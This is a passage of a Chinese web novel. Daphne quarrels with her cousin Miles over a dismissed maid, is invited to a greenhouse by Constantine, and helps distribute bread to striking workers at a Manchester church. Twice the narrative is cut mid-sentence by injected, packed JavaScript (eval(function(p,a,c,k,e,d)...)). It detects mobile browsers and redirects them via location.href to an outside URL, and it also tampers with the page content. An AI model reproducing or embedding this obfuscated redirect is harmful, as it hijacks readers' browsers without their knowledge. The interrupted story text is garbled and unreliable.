迈尔斯摊手:“事实就是,她不无辜。她以为我会娶她但是美梦破碎了,大概想从你们那里拿到一笔补偿吧,就是看准了你的心软。” 黛芙妮大声喘了几口气,错愕不已,她不知道该相信谁的话。 “黛菲,你太善良了,你和姨父一样把人看得太单纯,要是没有我你们该怎么办。”迈尔斯温柔地说,“我早就说过不要靠近那些工人,可你们都认为是我看不起他们。其实我只是担心你们受到伤害,你瞧,这不就应验了吗?” 他放低声音叙说:“你觉得一个从小出来打工的女人,她会什么都不知道什么本事都没有吗?” “勤劳、忠厚都是为了瞒过你的眼睛。她一定说过我把她当作妓女看待是不是?她将所有的错都推到我身上,本来我不在意我是男人我比她更受社会的包容。”迈尔斯说,“但是这回我真的很生气,因为她妄图欺骗你和姨妈。你们都那么好心地留下她给她工作她却不知足,她不配得到上帝的宽恕。” 黛芙妮盯着他虔诚的眼睛,她应该相信他的话吗?是选择从小就熟悉的表哥还是同为女性在她看来一直很老实的惠特妮? “可她为什么还要陷害你呢?”她说,“用名誉这么重要的东西。” “对你来说,对任何有教养的姑娘来说名誉当然很重要,但是对于那些生活在底层挣扎在生与死之间的人来说,名誉甚至比不过一块面包。”迈尔斯说,“不过,黛菲你永远不用去思考这些东西。” 黛芙妮不完全信他,她沉思片刻:“你别把自己说得那么无辜,男人强迫一个女人的概率可比女人强迫男人的概率大多了。还有你和她有没有——我是说——如果这样的话你必须得娶她。” “我可爱的表妹,我亲爱的黛菲。”迈尔斯用一种怜悯的眼神望向她,似乎在可怜她的过分单纯,“男欢女爱是很正常的事,更何况还是你情我愿。我在松开裤腰带前可是和她说得明明白白的,是她违背了约定,我不会娶她的。” “迈尔斯!你怎么能这么做!”黛芙妮对忠贞十分看重,瞬间火大了,“姨父姨妈是虔诚的教徒,你也说过会加入我们的!你还记得吧?我看你也没那么忙地忘记这样重要的事。总之你这么做是错的!” 婚前性行为是被严厉禁止的,黛芙妮将每一条规定都烂熟于心。 “人都有欲望,而且我内心是向往纯洁爱情的。”迈尔斯说。 “淫罪和淫行同属罪恶。”黛芙妮挣开他的手说,“我刚刚差点忘了,你是不是在和前一位女士交往的同时又放纵自己的欲望!” “黛菲,这很正常!也许男人可以一辈子爱一个女人但他不可能一辈子只上一个女人。”迈尔斯说。 “你这么说的时候有没有想过姨父?他那么敬重姨妈。”愤怒爬上了黛芙妮的脸庞,一双眼睛如蓄势待发的枪口。 迈尔斯抿嘴重重叹气:“我本来不想说的,但是我爸爸他确实有个情人。” 黛芙妮震惊到嗓子都要劈叉了:“你认真的?” “看吧,他表演得很好。每个你看到的男人都这样,我想就是姨父——” 啪! 迈尔斯侧过脸,眼里有错愕。 黛芙妮看向不知道什么时候举起的手发愣,她真的是被气到了,迈尔斯怎么能这么说她爸爸。 “你不可以这么说我爸爸!”她将颤抖的手缩成拳,站起身直接去了小会客室将门关上。 好半晌,她靠在门后再次举起右手,掌心有点泛红可见她刚刚使的力有多大。 放在以前她是绝对不可能做出这样出格的行为,但是不知怎么的,她就想起了康斯坦丁和她说过的话——疼痛才能让人记住。 这下,迈尔斯总不能再随意编排了吧...... 晚餐的时候,她忐忑地坐在椅子上,狄默奇太太在照顾狄默奇先生,她不得不独自面对迈尔斯。 餐厅里只有咀嚼声和偶尔迈尔斯手中刀叉碰撞的声音。 黛芙妮第一次打人,理智上她告诉自己这是不对的,不说迈尔斯是她的兄长就说作为一名淑女她的行为也是要被谴责的,但感情上她又产生了一种自己都害怕的舒畅感。 迈尔斯切着牛排开口:“我得向你道歉,黛菲,我不该那么说的。” 黛芙妮放慢了叉肉丁的速度但并不看他。 “对不起。对你、对姨父。”迈尔斯放下刀叉。 黛芙妮还是不看他,为了显示自己很有底气,叉肉丁的速度又提高了一点。 “我也会和惠特妮道歉并且赔偿她的损失,所以你可以原谅我一回吗?”迈尔斯问。 黛芙妮说不出口,可迈尔斯已经将姿态放得很低了如果她再坚持场面会很难看。 正当她打算用力地挤出一点声音时,卡丽拯救了她:“小姐,你吃完了能帮我把蜂蜜水端上去吗?” “好的。”这句话说得就舒服多了,黛芙妮立马起身朝外走去。 卡丽把杯子递给她后又忙着去地下室,嘴里还在嘀咕:“惠特妮这个偷懒的家伙,也不知道在做什么半天不过来......” 黛芙妮和狄默奇太太换了班,她将蜂蜜水喂给狄默奇先生才愁容满面地坐下。 “小姐,你能来一下吗?”惠特妮推开一小条门缝喊她。 黛芙妮随她出去来到走廊尽头,这回她面对惠特妮脑袋乱糟糟的,甚至不知道怎么开口。 “迈尔斯给了我一笔钱让我今天就离开,我同意了。”惠特妮平静地说,“你和太太、先生都是好人,尊重我们这类出身的人又心怀怜悯不求回报。” 黛芙妮默默地看她,有点搞不明白了。 “我有件事想告诉你,”惠特妮往前走近,又往后看了看,“别相信你的表哥,当你捂住耳朵不听他说话你才会发现他到底是个什么样的人。” 说完她退后打算离开。 “惠特妮。”黛芙妮叫住她,“你到底有没有被迈尔斯欺骗?” 惠特妮复杂地看向她:“如果以一个人的心理来判断年龄,我也许都能做你妈妈了。” 她开了个玩笑,见黛芙妮还蹙着脸说:“最高级的骗术是真假混杂,迈尔斯是其中的高手。我建议你不要把我现在说的话告诉他,不然他总有办法让你失去自己的判断。” 惠特妮的离开让卡丽嚷嚷了好几天,她总是在那儿自言自语地抱怨惠特妮不和她说一声就走,说她现在不得不一个人承担起四位主子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16838862|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的活实在太吃力了。 “迈尔斯越来越难伺候了,可你偏偏说不过他。”卡丽说着又软了下来,“但是他很可怜,没了爸妈远离家乡。” 黛芙妮当时就坐在她身边,放下手里的东西盯着她,沉思。卡丽之前对迈尔斯的态度可不好这么快又变了。 过了一会儿,黛芙妮说:“我拜托了亨斯通太太,她会介绍几位兼职女佣来顶替惠特妮的位置。” 两个女佣下午就上门了。 狄默奇太太和她以及卡丽在大会客室商量。 “不如那个女孩吧,和惠特妮差不多看起来老实本分。”卡丽指着一个身材瘦削,眼睛十分规矩的女人说。 黛芙妮却指向另一位:“我更看好她。” “她看上去和我差不多,这个年纪再来找工作手脚可没那么灵活了,当然我不是她。”卡丽说。 “我们需要经验更丰富的佣人,可以快速上手。”黛芙妮说,“至于灵活度我想她还不至于需要拐杖。再说了和你年纪相仿不正好?让你有个可以说说话的朋友。” 最后狄默奇太太同意了黛芙妮的选择,名叫玛琪拉的佣人当天下午就开工了。 两个主日过后,狄默奇先生缓缓好了起来,这简直是天大的喜事。 他不再整日整日的头晕恶心,现在可以慢慢地移动舒缓僵硬的躯体:“我差点以为自己退化了四肢,不过要是这样我一定会成为新的科学奇迹。说来还得感谢你的热心帮助,康斯坦丁。” 他对来看他的康斯坦丁说。 “爸爸,你可以趴下了。”端来茶壶茶杯的黛芙妮说,倒了一杯红茶给康斯坦丁然后在他身边的椅子上坐下。 “小管家婆,真像烦人的小蜜蜂。”狄默奇先生假装抱怨。 黛芙妮被他调侃的红了脸,偷偷看了眼康斯坦丁:“爸爸!” 没说多久的话,狄默奇太太便进来给他换药。 康斯坦丁见状放下茶杯起身,狄默奇先生让黛芙妮送他下去。 “你最近还好吗?”走了好一段路,黛芙妮主动开口。 “为什么这么问?”康斯坦丁站在楼梯口让她先下。 绕过他时裙摆扫在他的鞋面,康斯坦丁微微动了一下。 黛芙妮该怎么说,她只是随意地挑了一句日程问候而已。 “你总是让我的舌头变得卡顿。”她说,“也许我需要喝点水,润滑一下。” 康斯坦丁摩挲指尖,有点痒。 下了楼梯,他们面对面站在大门口。 “我都不知道该怎么感谢你了,你请来的外国医生帮了很大的忙。”黛芙妮感激道。 “我们不是朋友吗?”康斯坦丁在她看不到的地方不大高兴地抿抿嘴。 “是的,我们是朋友。”黛芙妮用力点头。 “温室最近引进了新的一批植物,南美洲的王莲、永恒睡莲等。”康斯坦丁将一张做工精美的邀请函递给黛芙妮,“你想去看看吗?” 黛芙妮看看他又看看那张邀请函:“我不知道有没有空,我爸爸这里......” 康斯坦丁默了片刻:“一周后的下午,如果你想去就让人告诉我。” “谢谢。”黛芙妮收下邀请函说。 52. 躲藏的善意 “黛芙妮,你觉得这些够了吗?”贝拉戴着一顶菱形天蓝色绸缎帽站在一百零八号街边。 这个主日奥尔斯顿牧师终于松了口,允许想要帮忙的人在教堂门口支个摊子。 贝拉也成了好心人中的一位。 “东西不在乎多少,重要的是你的真心。”黛芙妮高兴地握住她的手。 两人往边上站站,让出一条路给道奇几人搬东西。 这回狄默奇家准备了足足两百个面包,花费了狄默奇先生整整一个月的工资! 一个是为了庆祝他的好转,另外也是因为如今工人的日子越发不好过了,既然他们有余力那为什么不帮一把呢。 “早点回来。”狄默奇太太叮嘱两位小姐,她不想离开好不容易好些的狄默奇先生,只能怀揣着一点担忧叮嘱孩子们。 “好的,妈妈。”黛芙妮趴在窗口对她挥手。 亨斯通家的马车用来搬运物资,狄默奇家的马车就用来载人。 “一个不好的消息。”贝拉露出同情,“我们终于找到了一位接生婆,但是对方要十个英镑,桑席拿不出来。” “这也太贵了!”黛芙妮摇头,“所以她接下来打算怎么办?” “不知道,我没有收到她最新的来信。”贝拉说,“不过她一定得尽快凑齐药费,否则等这位接生婆离开可就完了。” 黛芙妮的零花钱不多,但这么多年下来也有三十镑存着。 贝拉看她的表情,心思转了一圈:“你想帮她付药费吗?” “你知道的,未婚先孕的后果很可怕。”黛芙妮点头,她看不得少女凄惨地结束一生,“也许我可以资助她八个英镑。” “另外两个是留给我的吗?”贝拉说。 “当然不是!你已经帮她找了一位医生了。”黛芙妮否认。 “所以你要比着我来?”贝拉说。 “我可不是那些想要声望的先生,而且这件事也不能给我带来什么好处。”黛芙妮说,“唯一的就是让我安心吧。” 贝拉扑哧一声笑了出来:“我已经给了她八个英镑,剩下的她自己去想办法,不过看来她还是有些好运的。” 黛芙妮又气又无奈,最终化为一声轻笑。 “即使她堕了胎,估计婚姻也够呛。”贝拉说,“也不知道她会在曼彻斯特待多久。” 黛芙妮看向窗外,心里的异样有了想倾诉的想法:“路威尔顿先生邀请我参加植物园的下午茶。” “只是你们两人吗?”贝拉惊讶,往前倾,一双眼睛闪烁着好奇的火焰。 黛芙妮躲避她那特别有攻击性的眼睛:“我没问应该不。你觉得我该怎么拒绝?” “为什么要拒绝?”贝拉不解。 “我们关系并没有那么亲密,上回一起参加画展就让我十分不自在,不过他大概真的把我当朋友了。”黛芙妮说。 贝拉看着她笑出声:“你有没有想过,路威尔顿先生喜欢你?” “贝拉,我别人眼中可没你认为的有价值。你觉得我千般万般的好是因为我有你喜欢的特质,对吗?”黛芙妮很快否决,她并不自恋。 “我承认我对你的喜欢。你长得漂亮、性格温和、更不是脑袋里只有花边的女人,这些都是有目共睹的,让我想破头我都想不出有什么理由会不喜欢你。”贝拉说。 “一万个人眼中有一万个哈姆雷特。”黛芙妮说。 就比如说为什么安娜会喜欢艾莫斯,对方一无是处;又或者为什么艾莫斯会喜欢安娜,她性情非常糟糕。 黛芙妮意识到自己在不知不觉中编排了别人的不好,想到这有点尴尬,轻轻晃头将他们甩出去。 “总之我认为,生活不是小说你不知道对方爱不爱你。”黛芙妮说。 “可是爱不是只写在纸上的。”贝拉反驳她,“它还有很多形式。” “例如?”黛芙妮不带嘲笑的看她。 “一杯热茶、一句问安、一个眼神、一个微笑。”贝拉说。 “也许你说得对,但他对待我的方式远不比你们对待我的热烈和浓厚。”黛芙妮边说边回忆,“如果感受不到爱,那我认为那就不是爱。” “好吧,你是当事人你说了算。”贝拉说。 马车拐进小街,突然一阵剧烈的摇晃吓得黛芙妮和贝拉尖叫。 “走开!别围在这里!”外面有人在怒吼。 黛芙妮稳住身子往外一看,马车周围是密密麻麻的人头,几乎个个瞪着一双双凸出的眼睛。 贝拉双手撑在车厢两侧,惊魂未定:“发生什么事了?他们——” 人潮开始移动,十几个男人冲了过来围在两驾马车四周。 “科尔先生。”黛芙妮认出了其中一人。 “早安,黛芙妮小姐。请你们坐好了,我们再分路。”科尔先生回头说,同时他还大声让旁边的人往后退让出一条路来。 “为什么有这么多人在这里?”贝拉问。 “刚刚结束一次游行,很多人听到今天教堂有慈善活动都往这边跑。”科尔先生说。 他扶着马车走:“黛芙妮小姐,你爸爸还好吗?” “他好多了。”黛芙妮说。 “对不起。” “都过去了。”黛芙妮说。 这里离教堂还有一段路,因为人多马车动得十分缓慢,贝拉和黛芙妮只能望向窗外打发时间。 如今天气算得上温暖,不少工人只穿薄薄一件衬衫搭配一条褶皱的九分裤,稍微体面点的就在外面加个马甲。 一眼望去基本没几个孩子,头发花白的老人倒不少,说是老人也许不过四十岁的年纪只不过被煤炉吸光了朝气。 有几个妇人头上裹了一块破布,时不时的看向黛芙妮,她们一直不紧不慢地跟在马车四周,似乎是想在她面前混个脸熟等会儿好分到一块个头大点的面包。 短短几百米的路硬是走了十几分钟,等到教堂的大广场时那人群多得和星星一样。 原来孩子都在这里,他们早早地占好位置以确保自己的好运一定降临。 科尔先生将她们送到奥尔斯顿牧师身边,然后带着人手划出一条工人与教堂之间的分界线。 “主教堂不参与这次的慈善活动,整个曼彻斯特可能只有这一座教堂还愿意敞开怀抱。”艾乐走过来说。 黛芙妮沉着回望黑压压的人群,身边的贝拉紧紧拽住她的手臂生怕工人冲过来。 虽然捐赠者的身份大打折扣,但捐赠的数量并不比上回少。 “很多像我们这样的家庭也愿意站出来,”艾乐解释说,“虽然一家只能出几个黑面包但是人多数目也不少了。” 黛芙妮拉着贝拉去见了奥尔斯顿牧师。 “早安,牧师。” “黛芙妮。”奥尔斯顿牧师看到她露出一个慈爱的笑容,“你带了你的朋友来?” “是的。这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16841155|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奥尔斯顿牧师。”黛芙妮向双方介绍,“这是贝拉。” “感谢你们的慷慨。”奥尔斯顿牧师身穿黄袍站在教堂大门边,这会儿他侧过脸将自己的情绪瞒过下面千百双眼睛,“我们帮不了多久了。” “因为捐赠的物资不够吗?”黛芙妮问。 “当恶人得势时,世界便充满了邪恶。他们如同豺狼,到处游荡,寻找猎物。”奥尔斯顿牧师说,“内心的勇气不足时,犹豫就拖住了脚步。中产及以上阶层中没多少人愿意站出来了。” “我从未见过有哪一次的罢工持续了那么久。”贝拉说,“通常都不会超过一个月。” “您认为哪边会胜利?”黛芙妮看着底下渴望麻木的人问。 “正义会来的,但是它还远远没到。”奥尔斯顿牧师叹气摇头,“我不认为他们会得到全部想要的,工厂主最多也不过是退后一小步。” “退后一小步也是胜利。”卡彭特太太抱着几卷报纸从教堂里走出来说,“为了这一点点胜利他们十分严厉地要求所有工人配合,那些摇摆不定的人没少被唾弃。” “你猜我看到了什么!”贝拉突然拍打黛芙妮的手背,她指向一个正在搬运纸箱的人,“那是泰特先生的佣人。” 那名管家样式的男子后面还跟着好几人,他们正将纸箱堆在桌子后面。 “幸运的是,我们有不少来自牛津街的捐赠者,除了泰特先生还有艾弗林奇先生、斯科特太太等。”奥尔斯顿牧师告诉她们,“有很多先生和太太都有低调地做慈善。” “我从来都不知道。”贝拉诧异。 “来参加主日的太太、小姐不少,不过做慈善我也是第一次知道。”黛芙妮说。 “迫于压力不得不降低自己的存在感,做慈善也成了一件见不得光的事。”卡彭特太太说,“恶人以奸恶为业,他们所怀的是毒害,所生的是虚假。他们的行为如同自掘坟墓,最终只会自食其果。” 黛芙妮和贝拉对视一眼,纷纷叹气。 等时间转到九点整,奥尔斯顿牧师让她们去桌子前准备。 工人在科尔先生几人的组织下有序地排成几列。 “感谢您的慷慨。” “谢谢。” “祝你有美好的一天。” 照旧地,每个从黛芙妮手里拿走面包的人都会对她说一句这样的话。 她不知道这份感激能维持多久,但起码这一刻他们都是真心的而她也是真正快乐的。 一连忙活了两个小时,她和贝拉才坐上回牛津路的马车。 “我的腰好像断了一样,不停地弯腰直起弯腰直起。”贝拉一手扶着腰有些痛苦。 物资放在桌子底下,纸箱只到她们的膝盖处,所以每回拿东西都必须弯腰才行。 “将热水灌在陶土容器中或是金属罐里,敷在疼痛的地方会好很多。”黛芙妮提出建议,“当我感到疲惫的时候就会这么做,效果也出奇的好。” “我喜欢这样的活动,当他们感谢我的时候我很愉悦,而且很有意义。”贝拉说。 “可我更希望这场罢工能快点结束,他们赚的钱我想一辈子都用不完吧为什么还要压迫可怜的人呢?”黛芙妮失落。她无法理解那种剥削的思想,更不能理解从这种情绪里获得的满足。 “因为控制不住自己的欲望吧。”贝拉说,“拥有的越多越不容易知足。大家都这样,只不过区别在于理智是否足够强大。”